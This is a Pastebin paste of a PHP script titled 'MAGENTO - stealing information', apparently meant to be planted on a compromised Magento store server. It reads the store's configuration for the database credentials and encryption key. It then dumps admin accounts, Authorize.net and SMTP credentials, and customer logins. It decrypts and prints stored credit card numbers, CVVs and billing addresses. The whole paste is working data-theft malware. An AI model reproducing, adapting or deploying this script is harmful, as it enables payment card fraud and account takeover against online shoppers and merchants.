Advertisement
Guest User

magento

a guest
Jan 12th, 2018
206
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 16.72 KB | None | 0 0
  1. <?  
  2. /*  
  3. coder : sohai  
  4. */  
  5.  
  6. @set_time_limit(0);  
  7.  
  8. echo'<head>  
  9. <title>MAGENTO - stealing information</title>  
  10. </head>  
  11. <div id="page-wrap">  
  12. <body>  
  13. <style type="text/css">  
  14. body,table { font-family:verdana;font-size:9px;color:#CCCCCC;background-color:#333333; }  
  15. table { width:100%; border-color:#333333;border-width:0pt 1pt; border-style:solid; }  
  16. td {background-color: #000500; font-family: Courier New; font-size:8pt; color:#999999; border-color:#FFFFFF; border-width:1pt 0pt; border-style:solid; border-collapse:collapse;padding:0pt 3pt;vertical-align:middle;}  
  17. A:Link, A:Visited { color: #999999;    text-decoration: none; }  
  18. A.no:Link, A.no:Visited { text-decoration: none; }  
  19. A:Hover, A:Visited:Hover , A.no:Hover, A.no:Visited:Hover { color: #666666; background-color:#333333; text-decoration: none; }  
  20. input,select,option { font:8pt tahoma;color:#666666;margin:2;border:1px solid #666666; }  
  21. textarea { color:#666666;font:verdana bold;border:1px solid ;margin:2; }  
  22. .fleft { float:left;text-align:left; }  
  23. .fright { float:right;text-align:right; }  
  24. #pagebar { font:8pt tahoma;padding:5px; border:3px solid #333333; border-collapse:collapse; }  
  25. #pagebar td { vertical-align:top; }  
  26. #pagebar p { font:8pt tahoma;}  
  27. #pagebar a { font-weight:bold;color:#666666; }  
  28. #pagebar a:visited { color:#00CE00; }  
  29. #mainmenu { text-align:center; }  
  30. #mainmenu a { text-align: center;padding: 0px 5px 0px 5px; }  
  31. #maininfo,.barheader,.barheader2 { text-align:center; }  
  32. #maininfo td { padding:3px; }  
  33. .barheader { font-weight:bold;padding:5px; }  
  34. .barheader2 { padding:5px;border:2px solid #333333; }  
  35. .contents,.explorer { border-collapse:collapse;}  
  36. .contents td { vertical-align:top; }  
  37. .mainpanel { border-collapse:collapse;padding:5px; }  
  38. .barheader,.mainpanel table,td { border:1px solid #333333; }  
  39. .mainpanel input,select,option { border:1px solid #333333;margin:0; }  
  40. input[type="submit"] { border:1px solid #333333; }  
  41. input[type="text"] { padding:3px;}  
  42. .fxerrmsg { color:red; font-weight:bold; }  
  43. #pagebar,#pagebar p,h1,h2,h3,h4,form { margin:0; }  
  44. #pagebar,.mainpanel,input[type="submit"] { background-color:black; }  
  45. .barheader2,input,select,option,input[type="submit"]:hover { background-color:black; }  
  46. textarea,.mainpanel input,select,option { background-color:#000000; }  
  47. // -->  
  48. </style>  
  49.  
  50. <body bgcolor="#ffffff" >  
  51.  
  52. <center>  
  53. <br>  
  54. <FORM action=""  method="post">  
  55. <div align="center">[M A G E N T O] - Stealing Information<br>  
  56. <div align="center">coder: sohai & n4KuLa_<br>  
  57. <input type="hidden" name="form_action" value="2">  
  58. </div>  
  59. </div>  
  60. ';  
  61.  
  62.  
  63. if(file_exists($_SERVER['DOCUMENT_ROOT'].'/app/etc/local.xml')){  
  64.     $xml = simplexml_load_file($_SERVER['DOCUMENT_ROOT'].'/app/etc/local.xml');  
  65.     if(isset($xml->global->resources->default_setup->connection)) {  
  66.        $connection = $xml->global->resources->default_setup->connection;  
  67.        $prefix = $xml->global->resources->db->table_prefix;  
  68.        $key = $xml->global->crypt->key; //f8cd1881e3bf20108d5f4947e60acfc1  
  69.        require_once $_SERVER['DOCUMENT_ROOT'].'/app/Mage.php';  
  70.          
  71.        try {  
  72.            $app = Mage::app('default');  
  73.            Mage::getSingleton('core/session', array('name'=>'frontend'));  
  74.        }catch(Exception $e) { echo 'Message: ' .$e->getMessage()."<br/>\n";}  
  75.  
  76.        if (!mysql_connect($connection->host, $connection->username, $connection->password)){  
  77.            print("Could not connect: " . mysql_error());  
  78.        }  
  79.        mysql_select_db($connection->dbname);  
  80.        echo $connection->host."|".$connection->username."|".$connection->password."|".$connection->dbname."| $prefix | $key<br/>\n";  
  81.  
  82.     $crypto = new Varien_Crypt_Mcrypt();  
  83.     $crypto->init($key);  
  84.  
  85.     //=========================================================================================================  
  86.     $query = mysql_query("SELECT user_id,firstname,lastname,email,username,password FROM admin_user where is_active = '1'");  
  87.     if (!$query){  
  88.           echo "<center><b>Gagal</b></center>";  
  89.     }else{  
  90.             $site = mysql_fetch_array(mysql_query("SELECT value as website FROM core_config_data WHERE path='web/unsecure/base_url'"));  
  91.           echo'<br><br>  
  92.                ====================================================================<br>  
  93.                                [ Admin FROM website : '.$site['website'].'] <br>  
  94.                ====================================================================<br>';  
  95.     }  
  96.     echo "  
  97.    <table border='1' align='center' >  
  98.    <tr>  
  99.    <td>id</td>  
  100.    <td>firstname</td>  
  101.    <td>lastname</td>  
  102.    <td>email</td>  
  103.    <td>username</td>  
  104.    <td>password</td>  
  105.    </tr>";  
  106.         while($vx = mysql_fetch_array($query)) {  
  107.         $no = 1;  
  108.         $user_id = $vx['user_id'];  
  109.         $username = $vx['username'];  
  110.         $password = $vx['password'];  
  111.         $email = $vx['email'];  
  112.         $firstname = $vx['firstname'];  
  113.         $lastname = $vx['lastname'];  
  114.         echo "<tr><pre><td>$user_id</td><td>$firstname</td><td>$lastname</td><td>$email</td><td>$username</td><td>$password</td></pre></tr>";  
  115.         }  
  116.     echo "</table><br>";  
  117.     //=========================================================================================================  
  118.     $query = mysql_query("SELECT value as user,(SELECT value FROM core_config_data where  path = 'payment/authorizenet/trans_key') as pass FROM core_config_data where path = 'payment/authorizenet/login'");  
  119.     if(mysql_num_rows($query) != 0){  
  120.         if (!$query){  
  121.               echo "<center><b>Gagal</b></center>";  
  122.         }else{  
  123.               echo'<br><br>  
  124.                    ====================================================================<br>  
  125.                                    [ Authorizenet ] <br>  
  126.                    ====================================================================<br>';  
  127.         }  
  128.         echo "  
  129.        <table border='1' align='center' >  
  130.        <tr>  
  131.        <td>no</td>  
  132.        <td>user</td>  
  133.        <td>pass</td>      
  134.        </tr>";  
  135.             $no = 1;  
  136.             while($vx = mysql_fetch_array($query)) {  
  137.             $user = $crypto->decrypt($vx['user']);  
  138.             $pass = $crypto->decrypt($vx['pass']);  
  139.  
  140.              
  141.             echo "<tr><pre><td>$no</td><td>$user</td><td>$pass</td></pre></tr>";  
  142.             $no++;  
  143.             }  
  144.         echo "</table><br>";  
  145.     }  
  146.     //=========================================================================================================  
  147.     $query_smtp = mysql_query("SELECT (SELECT a.value FROM core_config_data as a WHERE path = 'system/smtpsettings/host') as host , (SELECT b.value FROM core_config_data as b WHERE path = 'system/smtpsettings/port') as port,(SELECT c.value FROM core_config_data as c WHERE path = 'system/smtpsettings/username') as user ,(SELECT d.value FROM core_config_data as d WHERE path = 'system/smtpsettings/password') as pass FROM core_config_data limit 1,1");  
  148.     if(mysql_num_rows($query_smtp) != 0){  
  149.         if (!$query_smtp){  
  150.               echo "<center><b>Gagal</b></center>";  
  151.         }else{  
  152.               echo'<br><br>  
  153.                    ====================================================================<br>  
  154.                                    [ SMTP ] <br>  
  155.                    ====================================================================<br>';  
  156.         }  
  157.         echo "  
  158.        <table border='1' align='center' >  
  159.        <tr>  
  160.        <td>no</td>  
  161.        <td>host</td>          
  162.        <td>port</td>  
  163.        <td>user</td>  
  164.        <td>pass</td>      
  165.        </tr>";  
  166.             $no = 1;  
  167.             $batas = 0;  
  168.             while($rows = mysql_fetch_array($query_smtp)) {  
  169.                 $smtphost = $rows[0];  
  170.                 $smtpport = $rows[1];  
  171.                 $smtpuser = $rows[2];  
  172.                 $smtppass = $rows[3];  
  173.                 echo "<tr><pre><td>$no</td><td>$smtphost</td><td>$smtpport</td><td>$smtpuser</td><td>$smtppass</td></pre></tr>";  
  174.                 $no++;  
  175.             }  
  176.         echo "</table><br>";  
  177.     }  
  178.     //=========================================================================================================  
  179.     $query = mysql_query("SELECT sfo.updated_at,sfo.cc_owner,sfo.method,sfo.cc_number_enc,sfo.cc_cid_enc,CONCAT(sfo.cc_exp_month,' |',sfo.cc_exp_year) as exp,CONCAT(billing.firstname,' | ',billing.lastname,' | ',billing.street,' | ',billing.city,' | ', billing.region,' | ',billing.postcode,' | ',billing.country_id,' | ',billing.telephone,' |-| ',billing.email) AS 'Billing Address' FROM sales_flat_quote_payment AS sfo JOIN sales_flat_quote_address AS billing ON billing.quote_id = sfo.quote_id AND billing.address_type = 'billing'");  
  180.     $query2 = mysql_query("SELECT sfo.cc_owner,sfo.method,sfo.cc_number_enc,sfo.cc_cid_status,CONCAT(sfo.cc_exp_month,'|',sfo.cc_exp_year) as exp,CONCAT(billing.firstname,' | ',billing.lastname,' | ',billing.street,' | ',billing.city,' | ', billing.region,' | ',billing.postcode,' | ',billing.country_id,' | ',billing.telephone,' | ',billing.email) AS 'Billing Address' FROM sales_flat_order_payment AS sfo JOIN sales_flat_order_address AS billing ON billing.parent_id = sfo.parent_id AND billing.address_type = 'billing' where cc_number_enc != ''");
  181.     if(mysql_num_rows($query) != 0 || mysql_num_rows($query2) != 0){  
  182.           echo'<br><br>  
  183.                ====================================================================<br>  
  184.                                [ Credit Card ] <br>  
  185.                ====================================================================<br>';  
  186.             echo "  
  187.            <table border='1' align='left' >  
  188.            <tr>  
  189.            <td>no</td>  
  190.            <td>Date</td>  
  191.            <td>Credit Owner</td>  
  192.            <td>method</td>  
  193.            <td>Credit Number</td>  
  194.            <td>Credit Exp</td>  
  195.            <td>CVV</td>  
  196.            <td>Address</td>  
  197.            </tr>";  
  198.                 $no = 1;  
  199.                 $batas = 0;  
  200.                 while($vx = mysql_fetch_array($query)){  
  201.                 $date = $vx['updated_at'];  
  202.                 $cc_owner = $vx['cc_owner'];  
  203.                 $method = $vx['method'];  
  204.                 $cc_number_enc = $crypto->decrypt($vx['cc_number_enc']);  
  205.                 $exp = $vx['exp'];          
  206.                 $cc_cid_enc = $crypto->decrypt($vx['cc_cid_enc']);      
  207.                 $Billing_Address = $vx['Billing Address'];  
  208.                 echo "<tr><pre><td>$no</td><td>$date</td><td>$cc_owner</td><td>$method</td><td>$cc_number_enc</td><td>$exp</td><td>$cc_cid_enc</td><td>$Billing_Address</td></pre></tr>";  
  209.                 $batas = $no++;  
  210.                 }  
  211.                  
  212.                 while($vx2 = mysql_fetch_array($query2)){  
  213.                     $batas +=1;  
  214.                 $cc_owner = $vx2['cc_owner'];  
  215.                 $method = $vx2['method'];  
  216.                 $cc_number_enc = $crypto->decrypt($vx2['cc_number_enc']);  
  217.                 $exp = $vx2['exp'];          
  218.                 $cc_cid_status = $crypto->decrypt($vx2['cc_cid_status']);  
  219.                 $Billing_Address = $vx2['Billing Address'];  
  220.                 echo "<tr><pre><td>$batas</td><td>$cc_owner</td><td>$method</td><td>$cc_number_enc</td><td>$exp</td><td>$cc_cid_status</td><td>$Billing_Address</td></pre></tr>";  
  221.                  $batas++;  
  222.                 }      
  223.                  
  224.             echo "</table><br>";      
  225.     }  
  226.     //=========================================================================================================  
  227.     $query = mysql_query("SELECT email,value FROM customer_entity_varchar, customer_entity WHERE customer_entity_varchar.entity_id = customer_entity.entity_id and attribute_id=12");  
  228.     $query2 = mysql_query("SELECT customer_email,password_hash FROM sales_flat_quote");  
  229.      
  230.      
  231.     if(mysql_num_rows($query) != 0 || mysql_num_rows($query2) != 0 ){  
  232.         if (!$query){  
  233.               echo "<center><b>Gagal</b></center>";  
  234.         }else{  
  235.               echo'<br><br>  
  236.                    ====================================================================<br>  
  237.                                    [ Customer ] <br>  
  238.                    ====================================================================<br>';  
  239.         }  
  240.         echo "  
  241.        <table border='1' align='center' >  
  242.        <tr>  
  243.        <td>no</td>  
  244.        <td>user</td>  
  245.        <td>pass</td>      
  246.        </tr>";  
  247.             $no = 1;  
  248.             $batas = 0;  
  249.             while($vx = mysql_fetch_array($query)) {  
  250.                 $user = $vx['email'];  
  251.                 $pass = $vx['value'];  
  252.                 echo "<tr><pre><td>$no</td><td>$user</td><td>$pass</td></pre></tr>";  
  253.                 $batas = $no++;  
  254.             }  
  255.              
  256.             if(mysql_num_rows($query2) != 0 && ($query2)){  
  257.                 while($vx2 = mysql_fetch_array($query2)){  
  258.                     $user = $vx2['customer_email'];  
  259.                     $pass = $crypto->decrypt($vx2['password_hash']);  
  260.                     if(!empty($user) && !empty($pass)){ //tampilin ketika datanya itu ada klo gk ada ya jangan di tampiin  
  261.                         $batas +=1;  
  262.                         echo "<tr><pre><td>$batas</td><td>$user</td><td>$pass</td></pre></tr>";  
  263.                         $batas++;  
  264.                     }  
  265.                 }                  
  266.             }  
  267.          
  268.         echo "</table><br>";  
  269.     }  
  270.     //=========================================================================================================  
  271.   }  
  272. }  
  273. function save($format,$data){  
  274.     $fp = fopen($format, 'a');  
  275.     fwrite($fp, $data);  
  276.     fclose($fp);  
  277. }  
  278. function cekbase64($string){  
  279.         $decoded = base64_decode($string, true);  
  280.         if (!preg_match('/^[a-zA-Z0-9\/\r\n+]*={0,2}$/', $string)) return false;  
  281.         if(!base64_decode($string, true)) return false;  
  282.         if(base64_encode($decoded) != $string) return false;  
  283.         return true;//nilai return 1 jika true  
  284.     }  
  285. //----untuk decode password ---/  
  286. class Varien_Crypt_Mcrypt{  
  287.     /**  
  288.      * Constuctor  
  289.      *  
  290.      * @param array $data  
  291.      */  
  292.     public function __construct()  
  293.     {  
  294.     }  
  295.  
  296.     /**  
  297.      * Initialize mcrypt module  
  298.      *  
  299.      * @param string $key cipher private key  
  300.      * @return Varien_Crypt_Mcrypt  
  301.      */  
  302.     public function init($key)  
  303.     {  
  304.         $this->handler = mcrypt_module_open(MCRYPT_BLOWFISH, '', MCRYPT_MODE_ECB, '');  
  305.         $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($this->handler), MCRYPT_RAND);  
  306.         $maxKeySize = mcrypt_enc_get_key_size($this->handler);  
  307.  
  308.         if (iconv_strlen($key, 'UTF-8')>$maxKeySize) {  
  309.             //throw new Varien_Exception('Maximum key size must should be smaller '.$maxKeySize);  
  310.             return null;  
  311.         }  
  312.  
  313.         mcrypt_generic_init($this->handler, $key, $iv);  
  314.  
  315.         return $this;  
  316.     }  
  317.  
  318.     /**  
  319.      * Encrypt data  
  320.      *  
  321.      * @param string $data source string  
  322.      * @return string  
  323.      */  
  324.     public function encrypt($data)  
  325.     {  
  326.         if (!$this->handler) {  
  327.             //throw new Varien_Exception('Crypt module is not initialized.');  
  328.             return null;  
  329.         }  
  330.         if (strlen($data) == 0) {  
  331.             return $data;  
  332.         }  
  333.         return base64_encode(mcrypt_generic($this->handler, $data));  
  334.     }  
  335.  
  336.     /**  
  337.      * Decrypt data  
  338.      *  
  339.      * @param string $data encrypted string  
  340.      * @return string  
  341.      */  
  342.     public function decrypt($data)  
  343.     {  
  344.         if (!$this->handler) {  
  345.             //throw new Varien_Exception('Crypt module is not initialized.');  
  346.             return null;  
  347.         }  
  348.         if (strlen($data) == 0) {  
  349.             return $data;  
  350.         }  
  351.         return mdecrypt_generic($this->handler, base64_decode($data));  
  352.     }  
  353.          
  354.    
  355.     /**  
  356.      * Desctruct cipher module  
  357.      *  
  358.      */  
  359.     public function __destruct()  
  360.     {  
  361.         if ($this->handler) {  
  362.             $this->_reset();  
  363.         }  
  364.     }  
  365.  
  366.     protected function _reset()  
  367.     {  
  368.         mcrypt_generic_deinit($this->handler);  
  369.         mcrypt_module_close($this->handler);  
  370.     }  
  371. }  
  372.  
  373.  
  374.  
  375. $path = 'ftmp/';
  376.   if ($handle = opendir($path)) {
  377.      while (false !== ($file = readdir($handle))) {
  378.         if ((time()-filectime($path.$file)) < 60) {  
  379.            if (preg_match('/\.pdf$/i', $file)) {
  380.               unlink($path.$file);
  381.            }
  382.         }
  383.      }
  384.    }
  385.  
  386. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement